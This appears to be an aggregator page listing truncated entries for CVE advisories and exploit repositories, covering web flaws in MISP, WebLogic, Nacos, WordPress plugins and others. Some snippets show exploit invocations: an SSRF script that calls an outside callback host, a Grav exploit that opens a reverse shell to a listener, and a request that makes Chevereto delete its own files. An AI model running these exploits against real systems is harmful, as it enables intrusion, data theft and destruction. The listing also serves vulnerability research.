CVE-2026-95682

MISP contains a stored XSS in the admin email composition screen . The MISP.org organization name was interpolated into a JavaScript string literal via an unescaped PHP echo (var org = ""), so a name containing a double-quote or backslash could terminate the literal and inject arbitrary script. T...

EUVD-2026-84399

MISP contains a stored cross-site scripting XSS vulnerability in the admin email composition screen. The MISP.org organization name setting was interpolated directly into a JavaScript string literal using an unescaped PHP echo: var org = "";. Because the value was placed inside a double-quoted...

CVE-2026-26719

Descripción Resumen Existe una vulnerabilidad de Cross‑Site Scripting almacenado en xxl-job-admin JobInfoController.java donde el parámetro addressList acepta JavaScript codificado en URL sin sanitizar. El payload se almacena y posteriormente se ejecuta en los navegadores de los usuarios, lo que...

CVE-2022-1386-FusionBuilder-SSRF

CVE-2022-1386 – Fusion Builder 例: root@kitploit: python3 exploitcve20221386.py https://vulnerable.site https://abc123.oast.fun Interact.shまたはBurp Collaboratorを使用してコールバックを受信します。 📋 出力例 root@kitploit: Fetching nonce from target... Sending SSRF payload to https://abc123.oast.fun... + SSRF confirmed:...

CVE-2020-14882-WebLogic-Analysis

脆弱性調査: Oracle WebLogic Server における CVE-2020-14882 および CVE-2020-14883 のチェーンを悪用 このリポジトリには、Oracle WebLogic Server の管理コンソールコンポーネントにおける認証回避 Authentication Bypass およびリモートコード実行 RCE の脆弱性チェーンを示す技術レポート Write-up と概念実証 PoC が含まれています。 🛑 警告および免責事項: 本資料は、教育目的および合法的なセキュリティ監査 ペネトレーションテスト...

CVE-2021-39512-BigTreeCMS-v4.4.14-AccountTakeOver

BigTreeCMS-v4.4.14-Unauthenticated-CSRF-AccountTakeOver BigTreeCMS v4.4.14 における認証なしCSRFアカウント乗っ取り BigTreeCMS v4.4.14 の管理パネルにある検索可能なモジュールはすべて、URIを介したReflected...

CVE-2021-21425-RCE

これは私のバージョンです。インターネットでたくさん見つけましたが、それらは質が悪すぎます。 使用法 root@kitploit: python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 待ってください。60秒後にリスナーでシェルを取得できます。...

proofpoint-CVE-2023-0089

概要 セキュリティ研究者: ly1g3, ly1g3attuta.io GPG fingerprint: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586 概要: Remote Code Execution - 低権限認証ユーザーから管理者RCE CVE: CVE-2023-0089 タイムライン: 発見 - ly1g3 報告 - ly1g3 修正 - Proofpoint Proofpoint Messaging Security Gateway...

CVE-2021-29441

CVE-2021-29441 - Nacos 認証バイパス CVE-2021-29441 は、Nacos の 1.4.1 より前 のバージョンに影響する重大な認証バイパス脆弱性です。Nacos は、クラウドネイティブ環境で使用される動的サービスディスカバリ、構成管理、およびサービス管理のための人気プラットフォームです。この脆弱性により、認証されていない攻撃者が認証制御をバイパスし、脆弱な Nacos サーバー上で管理操作を実行できる可能性があります。 脆弱性の詳細...

CVE-2026-5118

Divi Form Builder ⚠️ 警告: このツールは、許可された侵入テストおよびセキュリティ研究専用です。 許可なくコンピュータシステムにアクセスすることは違法です。所有しているシステム、または明示的な書面による許可を得たシステムでのみ使用してください。 詳細な免責事項は、Jenderal92 のカバーに記載されている免責事項をご覧ください。こちらで確認できます ここ!!! 概要 この Python 2 スクリプトは、Divi WordPress プラグインおよび関連する Divi フォームの権限昇格の脆弱性を悪用します。これにより、リモートから 管理者 アカウントを登録できます...

CVE-2026-91097-CVE-2026-91106

🔬 最新の脆弱性リサーチとエクスプロイトリリースについてはTelegramに参加してください HPLIP Printer Application — 認証不要の管理者乗っ取り HPLIP Printer Application （PAPPLベースのWebインターフェース）の3.26.6より前 のすべてのバージョンを対象とした大量エクスプロイトツール。このツールは、PAPPL Webインターフェースのデフォルトの認証不要状態...

CVE-2026-61628

abraxaslabs.tech · github.com/abraxas · @abraxasnull · CVE-2026-61628 CVE-2026-61628 nginx-ignition 2.41.0 — lucasdillmann nginx ignition は nginx Web サーバー用のユーザーインターフェースです。バージョン 2.41.1 より前では、POST /api/users/onboarding/finish が匿名（未認証）として登録され、完全な ReadWrite...

CVE-2019-19654

CVE-2019-19654 Chevereto のサービス拒否 - /dashboard/bulk ツール内の = 3.13.5 Core。 管理者アカウントを持つ攻撃者は任意のパスを挿入できます。一括インポーターはアクセス権を持つすべてのファイルとフォルダを削除します。基本的に、ウェブサイトを自己破壊させることができます。 「import」にジョブを追加 /var/www/html root@kitploit: POST /json HTTP/1.1 Host: 192.168.0.88 User-Agent: Mozilla/5.0 X11; Ubuntu; Linux x8664...

CVE-2024-34832

CubeCart - ディレクトリトラバーサルによるRCEの可能性 CVE-2024-34832 TL;DR 管理パネルでは、g や node といったパラメータが、.inc.php ファイルを含めるためのパス構築やPHPコードの実行に使用されます。サーバ上の任意の場所に .inc.php ファイルをアップロードできる悪意のあるユーザーは、パストラバーサル脆弱性を悪用してそれらのファイルをインクルードし、悪意のあるコードを実行できます。 前提条件 管理パネルへのアクセス権（権限は一切不要を含め、どのような権限でも動作します） サーバ上の任意の場所に .inc.php...

CVE-2022-23046

CVE-2022-23046 元の発見と手動PoCは Fluidattacks によるものです: PhpIPAM v1.4.4 では、認証済みの管理者ユーザーが app/admin/routing/edit-bgp-mapping-search.php を介したサブネット検索時に "subnet" パラメータにSQL文を注入できる脆弱性があります。 このPoCは以下のような情報を取得するための簡単なSQLインジェクションを実行します: 基本的なサーバー情報 SMTP設定 AD/LDAP/RADIUSなどの他の認証方式 PHPIpamのユーザーとハッシュ MySQLデータベースのユーザー...

CVE-2025-1242

CVE-2025-1242: 管理用IoT Hub認証情報の露出 アドバイザリ フィールド| 値 ---|--- CVE| CVE-2025-1242 ICSA| ICSA-26-055-03 CVSS 3.1| 9.1 重大 ベクター| CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N CWE| CWE-798 ハードコードされた認証情報の使用 研究者| Michael Groberman — Gr0m 公開日| 2026-02-24 製品 フィールド| 値 ---|--- ベンダー| Gardyn 製品| Gardyn Home Kit 1.0...

CVE-2026-26718

説明 概要 xxl-job-admin Webアプリケーションには、攻撃者がGlue IDEシェルスクリプトを不正に変更できるようにするクロスサイトリクエストフォージェリCSRFの脆弱性が存在します。影響を受けるエンドポイントは適切なCSRFトークン検証が行われず、寛容なリクエストマッピングにより任意のHTTPメソッドを受け入れます。 影響を受ける製品 root@kitploit: xxl-job history.pushStat...

CVE-2023-6875

エクスプロイトの動作 メールを閲覧可能にするトークンを配置します。 管理者のユーザー名を検索します。見つからない場合はデフォルトとして"admin"を設定します。 管理者のパスワードリセット用リンクをリクエストし、それが管理者にメール送信されます。 最初のステップで配置したトークンを使用してメールログを調査します。 最新のログを選択します。そこにはパスワードリセット用リンクが含まれています。 前のステップで取得したリンクを使用してパスワードをリセットします。 管理者としてログインします。 シェル shell.zip という名前のファイルで、シェルを含む をアップロードします。 使用方法 ...

CVE-2025-2539

CVE-2025-2539 - WordPress File Away = 3.9.9.0.1 - 任意ファイル読み取り 🔥 脆弱性の概要 WordPressプラグイン File Away バージョン = 3.9.9.0.1 には、認証なしの任意ファイル読み取りの脆弱性があります。 これにより、攻撃者はプラグインのAJAXエンドポイントへの巧妙に細工されたリクエストを通じて、wp-config.php などのサーバー上の任意のファイルを読み取ることができます。 この脆弱性は、admin-ajax.php 経由で fileaway-stats...

CVE-2026-54477

CVE-2026-54477: 管理パネルのセキュリティヘッダー欠落（クリックジャッキング / XSS） アドバイザリ 項目| 値 ---|--- CVE| CVE-2026-54477 ICSA| ICSA-26-183-03 Gardyn IoT Hub CVSS 3.1| 5.4 中 ベクター 3.1| CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N ベクター 4.0| CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N CWE CISA 割当| CWE-644...